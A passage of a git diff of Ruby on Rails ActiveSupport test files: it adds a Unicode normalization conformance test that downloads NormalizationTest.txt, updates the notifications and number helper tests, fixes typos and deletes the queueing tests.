- # NFC
- # c2 == NFC(c1) == NFC(c2) == NFC(c3)
- assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
- assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
- assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
- #
- # c4 == NFC(c4) == NFC(c5)
- assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
- assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
- end
- end
-
- def test_normalizations_D
- each_line_of_norm_tests do |*cols|
- col1, col2, col3, col4, col5, comment = *cols
- #
- # NFD
- # c3 == NFD(c1) == NFD(c2) == NFD(c3)
- assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
- assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
- assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
- # c5 == NFD(c4) == NFD(c5)
- assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
- assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
- end
- end
-
- def test_normalizations_KC
- each_line_of_norm_tests do | *cols |
- col1, col2, col3, col4, col5, comment = *cols
- #
- # NFKC
- # c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
- assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
- assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
- assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
- assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
- assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
- end
- end
-
- def test_normalizations_KD
- each_line_of_norm_tests do | *cols |
- col1, col2, col3, col4, col5, comment = *cols
- #
- # NFKD
- # c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
- assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
- assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
- assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
- assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
- assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
- end
- end
-
- protected
- def each_line_of_norm_tests(&block)
- lines = 0
- max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
- File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f |
- until f.eof? || (max_test_lines > 38 and lines > max_test_lines)
- lines += 1
- line = f.gets.chomp!
- next if (line.empty? || line =~ /^\#/)
-
- cols, comment = line.split("#")
- cols = cols.split(";").map{|e| e.strip}.reject{|e| e.empty? }
- next unless cols.length == 5
-
- # codepoints are in hex in the test suite, pack wants them as integers
- cols.map!{|c| c.split.map{|codepoint| codepoint.to_i(16)}.pack("U*") }
- cols << comment
-
- yield(*cols)
- end
- end
- end
-
- def inspect_codepoints(str)
- str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
- end
-end \ No newline at end of file
diff --git a/activesupport/test/multibyte_conformance_test.rb b/activesupport/test/multibyte_conformance_test.rb
new file mode 100644
index 0000000000..f7bd21c8ab
--- /dev/null
+++ b/activesupport/test/multibyte_conformance_test.rb
@@ -0,0 +1,133 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'multibyte_test_helpers'
+
+require 'fileutils'
+require 'open-uri'
+require 'tmpdir'
+
+class Downloader
+ def self.download(from, to)
+ unless File.exist?(to)
+ unless File.exist?(File.dirname(to))
+ system "mkdir -p #{File.dirname(to)}"
+ end
+ open(from) do |source|
+ File.open(to, 'w') do |target|
+ source.each_line do |l|
+ target.write l
+ end
+ end
+ end
+ end
+ true
+ end
+end
+
+class MultibyteConformanceTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
+ UNIDATA_FILE = '/NormalizationTest.txt'
+ CACHE_DIR = File.join(Dir.tmpdir, 'cache')
+ FileUtils.mkdir_p(CACHE_DIR)
+ RUN_P = begin
+ Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+ rescue
+ end
+
+ def setup
+ @proxy = ActiveSupport::Multibyte::Chars
+ skip "Unable to download test data" unless RUN_P
+ end
+
+ def test_normalizations_C
+ each_line_of_norm_tests do |*cols|
+ col1, col2, col3, col4, col5, comment = *cols
+
+ # CONFORMANCE:
+ # 1. The following invariants must be true for all conformant implementations
+ #
+ # NFC
+ # c2 == NFC(c1) == NFC(c2) == NFC(c3)
+ assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
+ assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
+ assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
+ #
+ # c4 == NFC(c4) == NFC(c5)
+ assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_D
+ each_line_of_norm_tests do |*cols|
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFD
+ # c3 == NFD(c1) == NFD(c2) == NFD(c3)
+ assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
+ assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
+ assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
+ # c5 == NFD(c4) == NFD(c5)
+ assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_KC
+ each_line_of_norm_tests do | *cols |
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFKC
+ # c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
+ assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
+ assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
+ end
+ end
+
+ def test_normalizations_KD
+ each_line_of_norm_tests do | *cols |
+ col1, col2, col3, col4, col5, comment = *cols
+ #
+ # NFKD
+ # c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
+ assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
+ assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
+ end
+ end
+
+ protected
+ def each_line_of_norm_tests(&block)
+ lines = 0
+ max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
+ File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f |
+ until f.eof? || (max_test_lines > 38 and lines > max_test_lines)
+ lines += 1
+ line = f.gets.chomp!
+ next if (line.empty? || line =~ /^\#/)
+
+ cols, comment = line.split("#")
+ cols = cols.split(";").map(&:strip).reject(&:empty?)
+ next unless cols.length == 5
+
+ # codepoints are in hex in the test suite, pack wants them as integers
+ cols.map!{|c| c.split.map{|codepoint| codepoint.to_i(16)}.pack("U*") }
+ cols << comment
+
+ yield(*cols)
+ end
+ end
+ end
+
+ def inspect_codepoints(str)
+ str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
+ end
+end
diff --git a/activesupport/test/multibyte_proxy_test.rb b/activesupport/test/multibyte_proxy_test.rb
new file mode 100644
index 0000000000..d8ffd7ca9c
--- /dev/null
+++ b/activesupport/test/multibyte_proxy_test.rb
@@ -0,0 +1,34 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+
+class MultibyteProxyText < ActiveSupport::TestCase
+ class AsciiOnlyEncoder
+ attr_reader :wrapped_string
+ alias to_s wrapped_string
+
+ def initialize(string)
+ @wrapped_string = string.gsub(/[^\u0000-\u007F]/, '?')
+ end
+ end
+
+ def with_custom_encoder(encoder)
+ original_proxy_class = ActiveSupport::Multibyte.proxy_class
+
+ begin
+ ActiveSupport::Multibyte.proxy_class = encoder
+
+ yield
+ ensure
+ ActiveSupport::Multibyte.proxy_class = original_proxy_class
+ end
+ end
+
+ test "custom multibyte encoder" do
+ with_custom_encoder(AsciiOnlyEncoder) do
+ assert_equal "s?me string 123", "søme string 123".mb_chars.to_s
+ end
+
+ assert_equal "søme string 123", "søme string 123".mb_chars.to_s
+ end
+end
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
index fdbe2f4350..90af2dadd4 100644
--- a/activesupport/test/multibyte_test_helpers.rb
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -1,9 +1,9 @@
# encoding: utf-8
module MultibyteTestHelpers
- UNICODE_STRING = 'ã“ã«ã¡ã‚'
- ASCII_STRING = 'ohayo'
- BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT")
+ UNICODE_STRING = 'ã“ã«ã¡ã‚'.freeze
+ ASCII_STRING = 'ohayo'.freeze
+ BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT").freeze
def chars(str)
ActiveSupport::Multibyte::Chars.new(str)
diff --git a/activesupport/test/notifications/instrumenter_test.rb b/activesupport/test/notifications/instrumenter_test.rb
new file mode 100644
index 0000000000..f46e96f636
--- /dev/null
+++ b/activesupport/test/notifications/instrumenter_test.rb
@@ -0,0 +1,58 @@
+require 'abstract_unit'
+require 'active_support/notifications/instrumenter'
+
+module ActiveSupport
+ module Notifications
+ class InstrumenterTest < ActiveSupport::TestCase
+ class TestNotifier
+ attr_reader :starts, :finishes
+
+ def initialize
+ @starts = []
+ @finishes = []
+ end
+
+ def start(*args); @starts << args; end
+ def finish(*args); @finishes << args; end
+ end
+
+ attr_reader :instrumenter, :notifier, :payload
+
+ def setup
+ super
+ @notifier = TestNotifier.new
+ @instrumenter = Instrumenter.new @notifier
+ @payload = { :foo => Object.new }
+ end
+
+ def test_instrument
+ called = false
+ instrumenter.instrument("foo", payload) {
+ called = true
+ }
+
+ assert called
+ end
+
+ def test_instrument_yields_the_payload_for_further_modification
+ assert_equal 2, instrumenter.instrument("awesome") { |p| p[:result] = 1 + 1 }
+ assert_equal 1, notifier.finishes.size
+ name, _, payload = notifier.finishes.first
+ assert_equal "awesome", name
+ assert_equal Hash[:result => 2], payload
+ end
+
+ def test_start
+ instrumenter.start("foo", payload)
+ assert_equal [["foo", instrumenter.id, payload]], notifier.starts
+ assert_predicate notifier.finishes, :empty?
+ end
+
+ def test_finish
+ instrumenter.finish("foo", payload)
+ assert_equal [["foo", instrumenter.id, payload]], notifier.finishes
+ assert_predicate notifier.starts, :empty?
+ end
+ end
+ end
+end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index bcb393c7bc..f729f0a95b 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -81,6 +81,20 @@ module Notifications
end
end
+ class TestSubscriber
+ attr_reader :starts, :finishes, :publishes
+
+ def initialize
+ @starts = []
+ @finishes = []
+ @publishes = []
+ end
+
+ def start(*args); @starts << args; end
+ def finish(*args); @finishes << args; end
+ def publish(*args); @publishes << args; end
+ end
+
class SyncPubSubTest < TestCase
def test_events_are_published_to_a_listener
@notifier.publish :foo
@@ -99,7 +113,7 @@ module Notifications
@notifier.publish :foo
@notifier.publish :foo
- @notifier.subscribe("not_existant") do |*args|
+ @notifier.subscribe("not_existent") do |*args|
@events << ActiveSupport::Notifications::Event.new(*args)
end
@@ -144,6 +158,14 @@ module Notifications
assert_equal [[:foo]], @another
end
+ def test_publish_with_subscriber
+ subscriber = TestSubscriber.new
+ @notifier.subscribe nil, subscriber
+ @notifier.publish :foo
+
+ assert_equal [[:foo]], subscriber.publishes
+ end
+
private
def event(*args)
args
@@ -157,7 +179,7 @@ module Notifications
assert_equal 2, instrument(:awesome) { 1 + 1 }
end
- def test_instrument_yields_the_paylod_for_further_modification
+ def test_instrument_yields_the_payload_for_further_modification
assert_equal 2, instrument(:awesome) { |p| p[:result] = 1 + 1 }
assert_equal 1, @events.size
assert_equal :awesome, @events.first.name
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
index 65aecece71..e6925e9083 100644
--- a/activesupport/test/number_helper_i18n_test.rb
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -43,6 +43,10 @@ module ActiveSupport
:custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
end
+ def teardown
+ I18n.backend.reload!
+ end
+
def test_number_to_i18n_currency
assert_equal("&$ - 10.00", number_to_currency(10, :locale => 'ts'))
assert_equal("(&$ - 10.00)", number_to_currency(-10, :locale => 'ts'))
@@ -50,8 +54,6 @@ module ActiveSupport
end
def test_number_to_currency_with_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal("$10.00", number_to_currency(10, :locale => 'empty'))
assert_equal("-$10.00", number_to_currency(-10, :locale => 'empty'))
end
@@ -80,8 +82,6 @@ module ActiveSupport
end
def test_number_with_i18n_precision_and_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal("123456789.123", number_to_rounded(123456789.123456789, :locale => 'empty'))
assert_equal("1.000", number_to_rounded(1.0000, :locale => 'empty'))
end
@@ -92,8 +92,6 @@ module ActiveSupport
end
def test_number_with_i18n_delimiter_and_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'empty'))
end
@@ -107,8 +105,6 @@ module ActiveSupport
end
def test_number_to_i18n_percentage_and_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal("1.000%", number_to_percentage(1, :locale => 'empty'))
assert_equal("1.243%", number_to_percentage(1.2434, :locale => 'empty'))
assert_equal("12434.000%", number_to_percentage(12434, :locale => 'empty'))
@@ -121,8 +117,6 @@ module ActiveSupport
end
def test_number_to_i18n_human_size_with_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal("2 KB", number_to_human_size(2048, :locale => 'empty'))
assert_equal("42 Bytes", number_to_human_size(42, :locale => 'empty'))
end
@@ -142,8 +136,6 @@ module ActiveSupport
end
def test_number_to_human_with_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
-
assert_equal "2 Thousand", number_to_human(2000, :locale => 'empty')
assert_equal "1.23 Billion", number_to_human(1234567890, :locale => 'empty')
end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 5f54587f93..50d84a9470 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -1,5 +1,6 @@
require 'abstract_unit'
require 'active_support/number_helper'
+require 'active_support/core_ext/string/output_safety'
module ActiveSupport
module NumberHelper
@@ -79,6 +80,9 @@ module ActiveSupport
assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
assert_equal("1000.000 %", number_helper.number_to_percentage(1000, :format => "%n %"))
+ assert_equal("98a%", number_helper.number_to_percentage("98a"))
+ assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN))
+ assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY))
end
end
@@ -94,6 +98,7 @@ module ActiveSupport
assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+ assert_equal("123,456.78", number_helper.number_to_delimited("123456.78".html_safe))
end
end
@@ -102,7 +107,6 @@ module ActiveSupport
assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
- assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
end
end
@@ -124,6 +128,14 @@ module ActiveSupport
assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded('111.2346', :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), :precision => 20))
+ assert_equal("111.2346" + "0"*96, number_helper.number_to_rounded('111.2346', :precision => 100))
+ assert_equal("111.2346", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 4))
+ assert_equal('0.00', number_helper.number_to_rounded(Rational(0, 1), :precision => 2))
end
end
@@ -156,6 +168,15 @@ module ActiveSupport
assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), :precision => 20, :significant => true )
+ assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", :precision => 20, :significant => true )
+ assert_equal "9775." + "0"*96, number_helper.number_to_rounded("9775", :precision => 100, :significant => true )
+ assert_equal("97.7", number_helper.number_to_rounded(Rational(9772, 100), :precision => 3, :significant => true))
end
end
@@ -301,6 +322,13 @@ module ActiveSupport
end
end
+ def test_number_to_human_with_custom_units_that_are_missing_the_needed_key
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '123', number_helper.number_to_human(123, units: { thousand: 'k'})
+ assert_equal '123', number_helper.number_to_human(123, units: {})
+ end
+ end
+
def test_number_to_human_with_custom_format
[@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
assert_equal '123 times Thousand', number_helper.number_to_human(123456, :format => "%n times %u")
@@ -363,12 +391,6 @@ module ActiveSupport
end
end
- def test_extending_or_including_number_helper_correctly_hides_private_methods
- [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
- assert !number_helper.respond_to?(:valid_float?)
- assert number_helper.respond_to?(:valid_float?, true)
- end
- end
end
end
end
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
index 9d139b61b8..4c0364e68b 100644
--- a/activesupport/test/option_merger_test.rb
+++ b/activesupport/test/option_merger_test.rb
@@ -79,6 +79,15 @@ class OptionMergerTest < ActiveSupport::TestCase
assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new('', '').class
end
+ def test_option_merger_implicit_receiver
+ @options.with_options foo: "bar" do
+ merge! fizz: "buzz"
+ end
+
+ expected = { hello: "world", foo: "bar", fizz: "buzz" }
+ assert_equal expected, @options
+ end
+
private
def method_with_options(options = {})
options
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index 14ba4e0076..460a61613e 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -1,7 +1,8 @@
require 'abstract_unit'
require 'active_support/json'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/array/extract_options'
class OrderedHashTest < ActiveSupport::TestCase
def setup
@@ -119,7 +120,9 @@ class OrderedHashTest < ActiveSupport::TestCase
end
def test_select
- assert_equal @keys, @ordered_hash.select { true }.map(&:first)
+ new_ordered_hash = @ordered_hash.select { true }
+ assert_equal @keys, new_ordered_hash.map(&:first)
+ assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
end
def test_delete_if
@@ -142,6 +145,7 @@ class OrderedHashTest < ActiveSupport::TestCase
assert_equal copy, @ordered_hash
assert !new_ordered_hash.keys.include?('pink')
assert @ordered_hash.keys.include?('pink')
+ assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
end
def test_clear
@@ -243,11 +247,7 @@ class OrderedHashTest < ActiveSupport::TestCase
end
def test_each_after_yaml_serialization
- values = []
- @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))
-
- @deserialized_ordered_hash.each {|key, value| values << value}
- assert_equal @values, values
+ assert_equal @values, YAML.load(YAML.dump(@ordered_hash)).values
end
def test_each_when_yielding_to_block_with_splat
diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb
index f60f9a58e3..fdc745b23b 100644
--- a/activesupport/test/ordered_options_test.rb
+++ b/activesupport/test/ordered_options_test.rb
@@ -7,13 +7,13 @@ class OrderedOptionsTest < ActiveSupport::TestCase
assert_nil a[:not_set]
- a[:allow_concurreny] = true
+ a[:allow_concurrency] = true
assert_equal 1, a.size
- assert a[:allow_concurreny]
+ assert a[:allow_concurrency]
- a[:allow_concurreny] = false
+ a[:allow_concurrency] = false
assert_equal 1, a.size
- assert !a[:allow_concurreny]
+ assert !a[:allow_concurrency]
a["else_where"] = 56
assert_equal 2, a.size
@@ -23,10 +23,10 @@ class OrderedOptionsTest < ActiveSupport::TestCase
def test_looping
a = ActiveSupport::OrderedOptions.new
- a[:allow_concurreny] = true
+ a[:allow_concurrency] = true
a["else_where"] = 56
- test = [[:allow_concurreny, true], [:else_where, 56]]
+ test = [[:allow_concurrency, true], [:else_where, 56]]
a.each_with_index do |(key, value), index|
assert_equal test[index].first, key
@@ -39,13 +39,13 @@ class OrderedOptionsTest < ActiveSupport::TestCase
assert_nil a.not_set
- a.allow_concurreny = true
+ a.allow_concurrency = true
assert_equal 1, a.size
- assert a.allow_concurreny
+ assert a.allow_concurrency
- a.allow_concurreny = false
+ a.allow_concurrency = false
assert_equal 1, a.size
- assert !a.allow_concurreny
+ assert !a.allow_concurrency
a.else_where = 56
assert_equal 2, a.size
diff --git a/activesupport/test/queueing/synchronous_queue_test.rb b/activesupport/test/queueing/synchronous_queue_test.rb
deleted file mode 100644
index 86c39d0f6c..0000000000
--- a/activesupport/test/queueing/synchronous_queue_test.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'abstract_unit'
-require 'active_support/queueing'
-
-class SynchronousQueueTest < ActiveSupport::TestCase
- class Job
- attr_reader :ran
- def run; @ran = true end
- end
-
- class ExceptionRaisingJob
- def run; raise end
- end
-
- def setup
- @queue = ActiveSupport::SynchronousQueue.new
- end
-
- def test_runs_jobs_immediately
- job = Job.new
- @queue.push job
- assert job.ran
-
- assert_raises RuntimeError do
- @queue.push ExceptionRaisingJob.new
- end
- end
-end
diff --git a/activesupport/test/queueing/test_queue_test.rb b/activesupport/test/queueing/test_queue_test.rb
deleted file mode 100644
index 451fb68d3e..0000000000
--- a/activesupport/test/queueing/test_queue_test.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-require 'abstract_unit'
-require 'active_support/queueing'
-
-class TestQueueTest < ActiveSupport::TestCase
- def setup
- @queue = ActiveSupport::TestQueue.new
- end
-
- class ExceptionRaisingJob
- def run
- raise
- end
- end
-
- def test_drain_raises_exceptions_from_running_jobs
- @queue.push ExceptionRaisingJob.new
- assert_raises(RuntimeError) { @queue.drain }
- end
-
- def test_jobs
- @queue.push 1
- @queue.push 2
- assert_equal [1,2], @queue.jobs
- end
-
- class EquivalentJob
- def initialize
- @initial_id = self.object_id
- end
-
- def run
- end
-
- def ==(other)
- other.same_initial_id?(@initial_id)
- end
-
- def same_initial_id?(other_id)
- other_id == @initial_id
- end
- end
-
- def test_contents
- job = EquivalentJob.new
- assert @queue.empty?
- @queue.push job
- refute @queue.empty?
- assert_equal job, @queue.pop
- end
-
- class ProcessingJob
- def self.clear_processed
- @processed = []
- end
-
- def self.processed
- @processed
- end
-
- def initialize(object)
- @object = object
- end
-
- def run
- self.class.processed << @object
- end
- end
-
- def test_order
- ProcessingJob.clear_processed
- job1 = ProcessingJob.new(1)
- job2 = ProcessingJob.new(2)
-
- @queue.push job1
- @queue.push job2
- @queue.drain
-
- assert_equal [1,2], ProcessingJob.processed
- end
-
- class ThreadTrackingJob
- attr_reader :thread_id
-
- def run
- @thread_id = Thread.current.object_id
- end
-
- def ran?
- @thread_id
- end
- end
-
- def test_drain
- @queue.push ThreadTrackingJob.new
- job = @queue.jobs.last
- @queue.drain
-
- assert @queue.empty?
- assert job.ran?, "The job runs synchronously when the queue is drained"
- assert_equal job.thread_id, Thread.current.object_id
- end
-
- class IdentifiableJob
- def initialize(id)
- @id = id
- end
-
- def ==(other)
- other.same_id?(@id)
- end
-
- def same_id?(other_id)
- other_id == @id
- end
-
- def run
- end
- end
-
- def test_queue_can_be_observed
- jobs = (1..10).map do |id|
- IdentifiableJob.new(id)
- end
-
- jobs.each do |job|
- @queue.push job
- end
-
- assert_equal jobs, @queue.jobs
- end
-
- def test_adding_an_unmarshallable_job
- anonymous_class_instance = Struct.new(:run).new
-
- assert_raises TypeError do
- @queue.push anonymous_class_instance
- end
- end
-
- def test_attempting_to_add_a_reference_to_itself
- job = {reference: @queue}
- assert_raises TypeError do
- @queue.push job
- end
- end
-end
diff --git a/activesupport/test/queueing/threaded_consumer_test.rb b/activesupport/test/queueing/threaded_consumer_test.rb
deleted file mode 100644
index a3ca46a261..0000000000
--- a/activesupport/test/queueing/threaded_consumer_test.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-require 'abstract_unit'
-require 'active_support/queueing'
-require "active_support/log_subscriber/test_helper"
-
-class TestThreadConsumer < ActiveSupport::TestCase
- class Job
- attr_reader :id
- def initialize(id = 1, &block)
- @id = id
- @block = block
- end
-
- def run
- @block.call if @block
- end
- end
-
- def setup
- @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
- @queue = ActiveSupport::Queue.new(logger: @logger)
- end
-
- def teardown
- @queue.drain
- end
-
- test "the jobs are executed" do
- ran = false
- job = Job.new { ran = true }
-
- @queue.push job
- @queue.drain
-
- assert_equal true, ran
- end
-
- test "the jobs are not executed synchronously" do
- run, ran = Queue.new, Queue.new
- job = Job.new { ran.push run.pop }
-
- @queue.consumer.start
- @queue.push job
- assert ran.empty?
-
- run.push true
- assert_equal true, ran.pop
- end
-
- test "shutting down the queue synchronously drains the jobs" do
- ran = false
- job = Job.new do
- sleep 0.1
- ran = true
- end
-
- @queue.consumer.start
- @queue.push job
- assert_equal false, ran
-
- @queue.consumer.shutdown
- assert_equal true, ran
- end
-
- test "log job that raises an exception" do
- job = Job.new { raise "RuntimeError: Error!" }
-
- @queue.push job
- consume_queue @queue
-
- assert_equal 1, @logger.logged(:error).size
- assert_match "Job Error: #{job.inspect}\nRuntimeError: Error!", @logger.logged(:error).last
- end
-
